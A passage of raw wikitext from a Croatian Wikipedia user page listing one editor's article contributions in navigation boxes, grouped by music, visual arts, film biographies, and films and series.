[[Datoteka:LinkFA-star.png|14px]] {{flagicon|EST}} [[Eurosong 2002.|2002.]] • {{flagicon|TUR}} [[Pjesma Eurovizije 2004.|2004.]] • {{flagicon|GRČ}} [[Pjesma Eurovizije 2006|2006.]] • {{flagicon|FIN}} [[Pjesma Eurovizije 2007|2007.]] • {{flagicon|SRB}} [[Pjesma Eurovizije 2008.|2008.]] • {{flagicon|NOR}} [[Pjesma Eurovizije 2010.|2010.]] • {{flagicon|NJE}} [[Eurosong 2011|2011.]] • {{flagicon|AZE}} [[Eurosong 2012|2012.]] • {{flagicon|DAN}} [[Eurosong 2014|2014.]]}} }} ===Biografije=== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o skladateljima (po razdobljima) |abovestyle= |belowstyle= |groupstyle = |above= |group1 = Barok |group1style = text-align:center; background:#bfb1a3; color:white; border:1px solid silver; |list1= [[Georg Friedrich Händel]] |group2 = Klasicizam |group2style = background:#6495ED; color:white; border:1px solid silver; |list2= [[Jan Václav Stamic]] |group3 = Romantizam |group3style = text-align:center; background:#9955BB; color:white; border:1px solid silver; |list3= [[Vincenzo Bellini]] • [[Johann Strauss mlađi]] • [[Giacomo Meyerbeer]] • [[Cezar Antonovič Kjui]] • [[Davorin Jenko]] • [[Charles-François Gounod]] • [[Gabriel Fauré]] |group4 = XX. stoljeće |group4style = text-align:center; color:black; background:red; border:1px solid black; |list4= {{Navbox subgroup | groupstyle = text-align:center; color:black; background:red; border:1px solid black; |group1 = Impresionizam |list1= [[Maurice Ravel]] |group3 = Avangarda |list3= [[Pierre Schaeffer]] • [[Olivier Messiaen]] • [[Pierre Boulez]] |group2 = Modernizam |list2= [[Benjamin Britten]] • [[Umberto Giordano]] • [[Erik Satie]] • ''[[Les Six]]'' ([[Georges Auric|Auric]] • [[Louis Durey|Durey]] • [[Arthur Honegger|Honegger]] • [[Darius Milhaud|Milhaud]] • [[Francis Poulenc|Poulenc]] • [[Germaine Tailleferre|Tailleferre]]) • [[Ernesto Nazareth]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:red; border:1px solid black; |group1 = Neoklasicizam |list1= [[Datoteka:LinkFA-star.png|14px]] [[Dmitrij Šostakovič]] • [[Igor Stravinski]] |group2 = Ekspresionizam |list2= [[Arnold Schönberg]] • [[Anton Webern]] • [[Alban Berg]] }} |group5 = Ostalo |list5= [[Władysław Szpilman]] • [[Alfi Kabiljo]] • [[Arvo Pärt]] }} |below= }} {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o pop izvođačima |abovestyle= |belowstyle= |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |above= |group1 = Solisti |list1= [[Ringo Starr]] • [[Jem]] • [[Mark Hollis]] • [[Rob Thomas]] • [[Gloria Estefan]] • [[Celia Cruz]] • [[Hajrudin Varešanović]] • [[Marija Šestić]] • [[Sandra Nurmsalu]] • [[Ott Lepland]] • [[Kurt Calleja]] • [[Petar Nalič]] • [[Dima Bilan]] • [[Aleksej Vorobjov]] • [[Kōji Wada]] • [[Ajumi Mijazaki]] • [[Ai Maeda (pjevačica)|Ai Maeda]] • [[Hitomi Shimatani]] • [[Akiko Shikata]] • [[Yūgo Kanno]] • [[Tōru Kitajima]] ([[:Kategorija:TK from 凛として時雨|diskografija]]) • [[Jelena Tomašević]] • [[Milan Stanković]] • [[Harel Skaat]] • [[K'naan]] • [[Jessy Matador]] • [[Amaury Vassili]] • [[Stereo Mike]] • [[Loukas Giorkas]] • [[Lena Meyer-Landrut]] • [[Frank Schindel]] • [[Andy Knote]] • [[Stefan Raab]] • [[Milli Vanilli]] • [[Gréta Salóme Stefánsdóttir]] • [[Jón Jósep Snæbjörnsson]] • [[Olia Tira]] • [[Ivi Adamou]] • [[Emmelie de Forest]] • [[Daniel Jones]] • [[Darren Hayes]] • [[Knez (pjevač)|Knez]] • [[Hayley Westenra]] • [[Lorde]] • [[Kimbra]] • [[Sinn Sisamouth]] • [[Ros Serey Sothea]] • [[Angélique Kidjo]] • [[Tanel Padar]] • [[Dave Benton]] • [[Liam Payne]] • [[Miyoko Nakamura]] • [[Masatoshi Nakano]] • [[Dara (bugarska pjevačica)|Dara]] |group2 = Bendovi |list2= [[Blue]] • [[Datoteka:LinkFA-star.png|14px]] [[Talk Talk]] • [[The Beach Boys]] • [[The Byrds]] • [[Toto (sastav)|Toto]] • [[Regina (bend)|Regina]] • [[Urban Symphony]] • [[maNga]] • [[Glazbena družina Petra Naliča]] • [[A Friend In London]] • [[Aqua Timez]] • [[Datoteka:LinkFA-star.png|14px]] [[Ling Tosite Sigure]] • [[EGOIST]] • [[Nothing's Carved in Stone]] • [[Savage Garden]] • [[Nick Cave and the Bad Seeds]] • [[Quasarr]] • [[Moranbong Band]] • [[OMC (bend)|OMC]] • [[U pol’ 9 kod Sabe]] • [[Soul Militia]] }} === Opus === {{Navbox generic |titlestyle = color:white; background:#E34234; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz kompozicije |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:white;background:#E34234; border:1px solid silver; |belowstyle= text-align:center; color:white; background:#E34234; border:1px solid silver; |groupstyle = text-align:center; color:white; background:#E34234; border:1px solid silver; |above= |group1 = Opere |list1= ''[[Trubadur (opera)|Il trovatore]]'' • [[Korejska revolucionarna opera]] (''[[Kkot panŭn ch'ŏnyŏ]]'' • ''[[P'ibada]]'') |group2 = Baleti |list2= ''[[Žar-ptica]] • [[Posvećenje proljeća]] • [[Petruška]]'' |group3 = Instrumentalna djela |list3= ''[[Islamej]] • [[Boléro]]'' |group4 = Himne |list4= "[[Kimigayo]]" • "[[Noble patria, tu hermosa bandera]]" • "[[God Bless Our Homeland Ghana]]" • "[[Advance Australia Fair]]" • "[[Hino Nacional Brasileiro]]" • "[[Aegukka]]" • "[[La Bayamesa]]" • "[[Angola Avante]]" • "[[God Defend New Zealand]]" • "[[Gloria al Bravo Pueblo]]" • "[[Nokor Reach]]" • "[[Pjesma Kmerske Republike]]" • "[[Dap Prampi Mesa Chokchey]]" • "[[Himna Narodne Republike Kampućije]]" • "[[Državna himna Hondurasa]]" • "[[L'Aube Nouvelle]]" • "[[God Bless Fiji]]" • "[[Mu isamaa, mu õnn ja rõõm]]" • "[[Himna Estonske Sovjetske Socijalističke Republike]]" • "[[God zij met ons Suriname]]" • "[[Majulah Singapura]]" • "[[Himno Istmeño]]" |below= }} {{Navbox generic |titlestyle = color:white; background:#E34234; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz pop skladbe |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:white;background:#E34234; border:1px solid silver; |belowstyle= text-align:center; color:white; background:#E34234; border:1px solid silver; |groupstyle = text-align:center; color:white; background:#E34234; border:1px solid silver; |above= |group1 = Albumi |list1= ''[[Vrijeme je]] • [[Kad poludimo]] • [[Kad pogledaš me preko ramena]] • [[Sreća (Hari Mata Hari)|Sreća]] • [[Umineko no Naku Koro ni (EP)|Umineko no Naku Koro ni]]'' • ''[[Hotel Nacional (album)|Hotel Nacional]]'' • ''[[Girl You Know It's True (album)|Girl You Know It's True]]'' • [[:Kategorija:Albumi benda Ling tosite sigure|albumi benda Ling tosite sigure]] • [[:Kategorija:Albumi benda Talk Talk|albumi benda Talk Talk]] |group2 = Pjesme |list2= "[[Russians]]" • "[[Wavin' Flag]]" • "[[Manijači]]" • "[[Molitva (pjesma)|Molitva]]" • "[[Rijeka bez imena]]" • "[[Vjerujem u ljubav]]" • "[[I love you mi vida]]" • "[[Lejla]]" • "[[Oro (pjesma)|Oro]]" • "[[Bistra voda]]" • "[[Rändajad]]" • "[[Lane moje]]" • "[[La La Love]]" • "[[Never Forget]]" • "[[Satellite (pjesma Lene Meyer-Landrut)|Satellite]]" • "[[Lost and Forgotten]]" • "[[Ovo je Balkan]]" • "[[Milim]]" • "[[What's Another Year?]]" • "[[Rock me]]" • "[[Lako je sve (pjesma)|Lako je sve]]" • "[[Zauvijek moja]]" • "[[Wadde hadde dudde da?]]" • "[[Love in Rewind]]" • "[[Hold Me Now]]" • "[[We Could Be the Same]]" • "[[Allez Ola]]" • "[[Everybody (pjesma)|Everybody]]" • "[[Refrain]]" • "[[Munja i grom]]" • "[[Korake ti znam]]" • "[[Party for Everybody]]" • "[[Crno i belo]]" • "[[Kuula (pjesma)|Kuula]]" • "[[This is the Night (pjesma Kurta Calleje)|This is the Night]]" • "[[Only Teardrops]]" • "[[Tomorrow (pjesma Gianluce Bezzine)|Tomorrow]]" • "[[Moja ljubavi]]" • "[[Svadbarskim sokakom]]" • [[:Kategorija:Pjesme benda Ling tosite sigure|pjesme benda Ling tosite sigure]] • [[:Kategorija:Pjesme benda Talk Talk|pjesme benda Talk Talk]] • "[[Adio (pjesma)|Adio]]" • "[[How Bizarre (pjesma)|How Bizzare]]" • "[[Cambodia (pjesma)|Cambodia]]" • "[[Bangaranga]]" |group4 = Instrumentalna djela |list4= |group3 = OST |list3= "[[Butter-Fly]]" • "[[brave heart]]" • "[[keep On]]" • "[[I wish]]" • "[[Katayoku no Tori]]" • "[[VII (pjesma)|VII]]" |below= }} ==Likovna umjetnost== ===Umjetnici=== {{Navbox generic |titlestyle = text-align:center; color:#702963; background: #DF73FF; border:1px solid #702963; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz umjetnike |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Slikari<br>Ilustratori/Crtači |group1style = text-align:center; color:#882D17; background:#CC7722; border:1px solid #882D17; |list1= [[Datoteka:LinkFA-star.png|14px]] [[Salvador Dalí]] • [[Egon Schiele]] • [[Gustav Klimt]] • [[Kazimir Maljevič]] • [[Vasilij Kandinski]] • [[Georges Braque]] • [[Datoteka:LinkFA-star.png|14px]] [[Piet Mondrian]] • [[Georges Seurat]] • [[John Tenniel]] • [[Isaak Brodskij]] • [[Dmitrij Vrubelj]] • [[Sidney Paget]] • [[Gonzalo Morales Sáurez]] • [[Albert Namatjira]] • [[Paul Signac]] • [[Pedro Américo]] • [[Akira Amano]] • [[Arturo Michelena]] • [[Martín Tovar y Tovar]] • [[Kristjan Raud]] • [[Paul Raud]] |group2 = Kipari<br>Dizajneri |group2style = text-align:center; color:#C04000; background:#FF7E00; border:1px solid #C04000; |list2= [[Auguste Rodin]] • [[Gustav Fabergé]] • [[Petar Karl Fabergé]] • [[Leonid Sherwood]] • [[Yves Saint Laurent]] • [[Jesús Rafael Soto]] |group3 = Arhitekti |group3style = text-align:center; color:#555555; background:#E5E4E2; border:1px solid #555555; |list3= [[Frank Lloyd Wright]] • [[Ibo Bonilla]] • [[Carlos Raúl Villanueva]] |group4 = Fotografi |group4style = text-align:center; color:black; background:white; border:1px solid black; |list4= [[Félix Nadar]] • [[Alberto Korda]] |below= }} ===Umjetnost=== {{Navbox generic |titlestyle = text-align:center; color:#702963; background: #DF73FF; border:1px solid #702963; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi vezani uz umjetnost |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:#702963;background:#DF73FF; border:1px solid #702963; |belowstyle= text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |groupstyle = text-align:center; color:#702963; background:#DF73FF; border:1px solid #702963; |above= |group1 = Slikarstvo |group1style = text-align:center; color:#882D17; background:#CC7722; border:1px solid #882D17; |list1= ''[[Krik]] • [[Nedjeljno poslijepodne na otoku La Grande Jatte]] • [[Kupači kod Asnièresa]] • [[Izbij Bijele Crvenim klinom]] • [[Bijelo na bijelom]] • [[Gospode! Pomozi mi preživjeti ovu smrtonosnu ljubav]] • [[Veliki val kod Kanagawe]] • [[Posvećenje Napoleona I (David)|Posvećenje Napoleona I]] • [[Napoleon I na carskom tronu]] • [[Napoleon u svojoj studiji]] • [[Nedovršeni portret generala Bonapartea]]'' |group2 = Kiparstvo<br>Dizajn |group2style = text-align:center; color:#C04000; background:#FF7E00; border:1px solid #C04000; |list2= ''[[Telefon sa slušalicom od jastoga]] • [[Sofa u obliku usta Mae West]]'' • [[Koh-i-Noor]] • ''[[Senbazuru]]'' • ''[[Gandhijeva tri majmuna]]'' • [[Toranj Juche|Toranj ''Juche'']] • [[Veliki spomenik na brdu Mansu]] |group3 = Arhitektura |group3style = text-align:center; color:#555555; background:#E5E4E2; border:1px solid #555555; |list3= [[Guggenheimov muzej u Bilbau]] • [[Opatija Westminster]] • [[Dvorac Osu]] • [[Dvorac Cape Coast]] • [[Dvorac Elmina]] • [[Elizejska palača]] • ''[[Palais Bourbon]]'' • ''[[Palais Luxembourg]]'' • ''[[Les Invalides]]'' • [[Palača Tuileries]] • [[Rowan Oak]] • [[Trg Kim Il-sunga]] • [[Kongresna dvorana Mansudae]] • [[Međunarodni aerodrom José Martí]] • [[Presidio Modelo]] • [[Aerodrom Quatro de Fevereiro]] • [[Međunarodni aerodrom Simón Bolívar (Venezuela)]] • [[Univerzitetski grad u Caracasu]] • [[Museo de Bellas Artes (Caracas)]] • [[Muzej moderne umjetnosti Jesús Soto]] • [[Kizuna (most)]] • [[Međunarodni aerodrom u Phnom Penhu]] • [[Muzej genocida Tuol Sleng]] • [[El Cajón (brana)]] • [[Vrata bez povratka (Ouidah)]] • [[Musée Honmè]] • [[Međunarodni aerodrom u Nadiju]] • [[Međunarodni aerodrom u Nausoriju]] • [[Fort Zeelandia (Paramaribo)]] • [[Fort Nieuw-Amsterdam]] • [[Zatvor Outram]] • [[Stara Gradska vijećnica (Singapur)]] |group4 = Općenito |group4style = text-align:center; color:black; background:white; border:1px solid black; |list4= [[De Stijl]] • [[Camp (stil)|Camp]] • [[Salon (Pariz)|Salon]] |below= }} ==Filmska umjetnost== ===Opći pojmovi=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja filmografije | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = [[Ekranizacija]] • [[Production I.G]] • [[noitaminA]] |list2= }} ===Biografije=== {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o filmašima |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = Glumci |list1= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Dean Winters]] • [[Tobin Bell]] • [[Ed O'Neill]] • [[Mariska Hargitay]] • [[Tamara Tunie]] • [[Sam Waterston]] • [[Diane Neal]] • [[B.D. Wong]] • [[Robert Sean Leonard]] • [[Peter Jacobson]] • [[Matt Damon]] • [[Andy García]] • [[Billy Dee Williams]] • [[Robert Forster]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= [[Ian Hart]] • [[Emma Watson]] • [[Hugh Fraser]] • [[Philip Jackson]] • [[David Suchet]] • [[Pauline Moran]] • [[Alan Rickman]] • [[David Thewlis]] • [[Linus Roache]] • [[Albert Finney]] • [[Phil Davis]] • [[Rupert Penry-Jones]] • [[Steve Pemberton]] • [[Sam Stockman]] • [[George Rossi]] • [[Hannah Walters]] • [[Johnny Harris]] • [[Ben Bishop]] • [[Christopher Fulford]] • [[Claire Rushbrook]] • [[Alex Jennings]] • [[Eille Norwood]] • [[Arthur Wontner]] • [[Clive Brook]] |group3 = {{nowrap|{{flagicon|AUS}} Australija}} | group3style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list3= [[Costas Mandylor]] • [[Chris Hemsworth]] • [[Liam Hemsworth]] • [[Luke Hemsworth]] • [[Mia Wasikowska]] • [[Jesse Spencer]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Duško Gruborović]] |group5 = {{flagicon|RUS}} Rusija |group5style = color:#FFFFFF; background:red; border:1px solid #0039A6; |list5= [[Vasilij Livanov]] • [[Igor Petrenko]] • [[Andrej Panjin]] • [[Stanislav Govoruhin]] |group6 = {{flagicon|FRA}} Francuska |group6style = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |list6 = [[Irène Jacob]] |group7 = {{flagicon|JAP}} Japan |group7style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list7= [[Kazuhiro Yamaji]] • [[Ryōhei Kimura]] |group8 = {{nowrap|{{flagicon|KAN}} Kanada}} | group8style = background-color:white; color:red; text-align:center; border-top: 1px solid #FF0000; border-bottom: 1px solid #FF0000; border-left: 1px solid white; border-right: 1px solid white; |list8= [[Matt Frewer]] |group9 = {{nowrap|{{flagicon|VEN}} Venezuela}} | group9style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list9= [[Édgar Ramírez]] }} |group2 = Režiseri |list2= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Bryan Singer]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= [[Alfred Hitchcock]] |group3 = {{nowrap|{{flagicon|ITA}} Italija}} | group3style = text-align:center; color:#FFFFFF;background:#009246; border:1px solid #EF4135; |list3= [[Federico Fellini]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Branko Ivanda]] • [[Goran Kulenović]] • [[Dražen Žarković]] |group5 = {{flagicon|JAP}} Japan |group5style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list5= [[Hirojuki Kakudō]] • [[Itsurō Kawasaki]] • [[Naoyoshi Shiotani]] • [[Katsuyuki Motohiro]] • [[Kiyotaka Suzuki]] |group6 = {{nowrap|{{flagicon|AUS}} Australija}} | group6style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list6= [[Peter Weir]] |group7 = {{nowrap|{{flagicon|NZL}} Novi Zeland}} | group7style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list7= [[Martin Campbell]] • [[Niki Caro]] |group8 = {{nowrap|{{flagicon|SUR}} Surinam}} | group8style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list8= [[Pim de la Parra]] |group9 = {{nowrap|{{flagicon|POLJ}} Poljska}} | group9style = background:white; border:1px solid red; color: red; text-align:center; |list9= [[Agnieszka Holland]] |group10 = {{nowrap|{{flagicon|LAT}} Latvija}} | group10style = background:#77353D; border:1px solid silver; color: white; text-align:center; |list10= [[Gints Zilbalodis]] }} |group3 = Scenaristi<br>Producenti |list3= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= [[Peter Blake]] • [[Katie Jacobs]] • [[Paul Attanasio]] • [[Lawrence Kaplow]] |group2 = {{flagicon|JAP}} Japan |group2style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list2= [[Akijoshi Hongo]] • [[Reiko Joshida]] • [[Satoru Nishizono]] • [[Jōji Wada]] • [[Makoto Fukami]] • [[Kōji Yamamoto]] • [[Tō Ubukata]] • [[Jun Kumagai]] |group3 = {{flagicon|KAN}} Kanada |group3style = text-align:center; color:red;background:white; border:1px solid #EF4135; |list3= [[David Shore]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= [[Ivan Maloča]] • [[Zoran Lazić]] • [[Tonći Kožul]] • [[Vlado Bulić]] • [[Branko Ružić (scenarist)|Branko Ružić]] • [[Koraljka Meštrović]] • [[Antonio Gabelić]] • [[Irena Krčelić]] • [[Nikolina Čuljak]] }} |below= }} ===Filmovi i serije=== {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o filmovima |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= ''[[Psycho]]'' • ''[[The Birds]]'' • ''[[Vertigo]]'' • ''[[Frenzy]]'' • ''[[Marnie]]'' • ''[[Rear Window]]'' • ''[[Rebecca]]'' • ''[[Mr. & Mrs. Smith (1941)|Mr. & Mrs. Smith]]'' • [[The Man Who Knew Too Much (1956)|''The Man Who Knew Too Much'' (1956)]] • ''[[Topaz (1969)|Topaz]]'' • [[Saw (2003)|''Saw'' (2003)]] • ''[[Saw (2004)|Saw]]'' • ''[[Saw II]]'' • ''[[Saw III]]'' • ''[[Saw IV]]'' • ''[[Saw V]]'' • ''[[From Hell (2001)|From Hell]]'' • [[The Count of Monte Cristo (2002)|''The Count of Monte Cristo'' (2002)]] • ''[[Notorious (1946)|Notorious]]'' • [[Sherlock Holmes (film, 1922)|''Sherlock Holmes'' (1922)]] • [[The Return of Sherlock Holmes (film, 1929)|''The Return of Sherlock Holmes'' (1929)]] • [[Sherlock Holmes (film, 1932)|''Sherlock Holmes'' (1932)]] • [[A Study in Scarlet (film, 1933)|''A Study in Scarlet'' (1933)]] • [[Datoteka:LinkFA-star.png|14px]] [[It (film, 2017)|''It'' (2017)]] |group2 = {{nowrap|{{flagicon|UK}} Ujedinjeno Kraljevstvo}} | group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #CC0000; |list2= ''[[Sherlock Holmes and the Case of the Silk Stocking]]'' • [[The Hound of the Baskervilles (film, 2002)|''The Hound of the Baskervilles'' (2002)]] • ''[[Harry Potter and the Philosopher's Stone (2001)|Harry Potter and the Philosopher's Stone]]'' • ''[[Harry Potter and the Chamber of Secrets (2002)|Harry Potter and the Chamber of Secrets]]'' • ''[[Harry Potter and the Prisoner of Azkaban (2004)|Harry Potter and the Prisoner of Azkaban]]'' • ''[[Harry Potter and the Goblet of Fire (2005)|Harry Potter and the Goblet of Fire]]'' • ''[[Harry Potter and the Order of the Phoenix (2007)|Harry Potter and the Order of the Phoenix]]'' • ''[[Harry Potter and the Half-Blood Prince (2009)|Harry Potter and the Half-Blood Prince]]'' • ''[[Harry Potter and the Deathly Hallows - Part 1]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Harry Potter and the Deathly Hallows - Part 2]]'' • ''[[Agatha]]'' • ''[[The Krays]]'' • [[The Trial (1993)|''The Trial'' (1993)]] • ''[[Borat: Cultural Learnings of America for Make Benefit Glorious Nation of Kazakhstan]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Murder on the Orient Express (1974)|''Murder on the Orient Express'' (1974)]] • ''[[Murder, She Said]]'' • ''[[Murder Most Foul]]'' • ''[[Murder Ahoy!]]'' • ''[[Murder at the Gallop]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes (2009)|''Sherlock Holmes'' (2009)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Sherlock Holmes: A Game of Shadows]]'' • [[The Valley of Fear (film, 1916)|''The Valley of Fear'' (1916)]] • [[A Study in Scarlet (film, 1914)|''A Study in Scarlet'' (1914)]] • [[The Hound of the Baskervilles (film, 1921)|''The Hound of the Baskervilles'' (1921)]] • [[The Sign of Four (film, 1923)|''The Sign of Four'' (1923)]] • ''[[The Sleeping Cardinal]]'' • ''[[The Missing Rembrandt]]'' • ''[[The Triumph of Sherlock Holmes]]'' • [[The Sign of Four (film, 1932)|''The Sign of Four'' (1932)]] • [[Silver Blaze (film, 1937)|''Silver Blaze'' (1937)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Naked (film, 1993)|Naked]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[The Killing Fields (film)|The Killing Fields]]'' |group3 = {{flagicon|HRV}} Hrvatska |group3style = text-align:center; color:white; background:red; border:1px solid blue; |list3= ''[[Datoteka:LinkFA-star.png|14px]] [[Lea i Darija]] • [[Datoteka:LinkFA-star.png|14px]] [[Svećenikova djeca]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Smrt Djevojčice sa žigicama (film)|Smrt Djevojčice sa žigicama]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Mirotvorac (film)|Mirotvorac]]'' |group4 = {{flagicon|JAP}} Japan |group4style = text-align:center; color:red; background:white; border:1px solid red; |list4 = [[Datoteka:LinkFA-star.png|14px]] [[Digimon Adventure (film)|''Digimon Adventure'' (film)]] • [[Datoteka:LinkFA-star.png|14px]] ''[[Psycho-Pass: The Movie]]'' • ''[[Saraba hakobune]]'' • ''[[Issun-bōshi (film)|Issun-bōshi]]'' |group5 = {{flagicon|NJE}} Njemačka |group5style = text-align:center; color:#000000; background:#FFCC00; border:1px solid #FF0000; |list5 = [[Der Hund von Baskerville (film, 1914)|''Der Hund von Baskerville'' (1914)]] • [[Der Hund von Baskerville (film, 1929)|''Der Hund von Baskerville'' (1929)]] |group6 = {{flagicon|SSSR}} Sovjetski Savez |group6style = text-align:center; color:#FFD700; background:red; border:1px solid #FFD700; |list6 = ''[[Priključenja Šerloka Holmsa i doktora Vatsona]]'' (''[[Šerlok Holms i doktor Vatson]]'' • [[Priključenja Šerloka Holmsa i doktora Vatsona (film)|''Priključenja Šerloka Holmsa i doktora Vatsona'' (film)]] • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Sobaka Baskervilej|Sobaka Baskervilej]]'' • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Sokroviša Agri|Sokroviša Agri]]'' • ''[[Priključenja Šerloka Holmsa i doktora Vatsona: Dvadcatij vek načinajecja|Dvadcatij vek načinajecja]]'') • [[Datoteka:LinkFA-star.png|14px]] ''[[Desjat negritjat]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border:1px solid black; |group1 = {{flagicon|RUS}} Rusija | group1style =text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |list1 =''[[Savva. Serdce voina]]'' }} |group7 = {{flagicon|FRA}} Francuska |group7style = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |list7 = ''[[Espoir, sierra de Teruel]]'' • ''[[Un chant d'amour]]'' • [[Datoteka:LinkFA-star.png|14px]] ''[[Z (film)|Z]]'' |group8 = {{nowrap|{{flagicon|NZL}} Novi Zeland}} | group8style = background-color:#1C2D8C; color:white; text-align:center; border: 1px solid silver |list8= ''[[Whale Rider]]'' |group9 = {{nowrap|{{flagicon|KAN}} Kanada}} | group9style = background-color:white; color:red; text-align:center; border-top: 1px solid #FF0000; border-bottom: 1px solid #FF0000; border-left: 1px solid white; border-right: 1px solid white; |list9= ''[[The Hound of the Baskervilles (film, 2000)|The Hound of the Baskervilles]]'' • ''[[The Sign of Four (film, 2001)|The Sign of Four]]'' • ''[[The Royal Scandal]]'' • ''[[The Case of the Whitechapel Vampire]]'' |group10 = {{nowrap|{{flagicon|VEN}} Venezuela}} | group10style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list10= ''[[Punto y raya]]'' |group11 = {{nowrap|{{flagicon|HON}} Honduras}} | group11style = background-color:#0073CF; color:white; text-align:center; border:1px solid silver; |list11= ''[[Morazán (film)|Morazán]]'' |group12 = {{nowrap|{{flagicon|FIJ}} Fidži}} | group12style = background-color:#68BFE5; color:white; text-align:center; border:1px solid silver; |list12= ''[[The Land Has Eyes]]'' |group13 = {{nowrap|{{flagicon|SUR}} Surinam}} | group13style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list13= ''[[Wan Pipel]]'' |group14 = {{nowrap|{{flagicon|LAT}} Latvija}} | group14style = background:#77353D; border:1px solid silver; color: white; text-align:center; |list14= ''[[Straume]]'' |group15= Likovi |list15 = [[King Kong]] {{Navbox subgroup | groupstyle = text-align:center; color:black; background:white; border: 1px solid black; |group1 = ''Star Wars'' |list1 = [[Darth Sidious]] • [[Yoda]] • [[Darth Vader]] • [[Qui-Gon Jinn]] • [[General Grievous]] |group2 = ''Saw'' |list2 = [[Mark Hoffman]] }} }} {{Navbox generic |titlestyle = color:black; background:white; border:1px solid black; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi o serijama |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:black; background:white; border:1px solid black; |belowstyle= text-align:center; color:black; background:white; border:1px solid black; |groupstyle = text-align:center; color:black; background:white; border:1px solid black; |above= |group1 = {{flagicon|SAD}} Sjedinjene Države |group1style = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |list1= ''[[Law & Order: Special Victims Unit]] 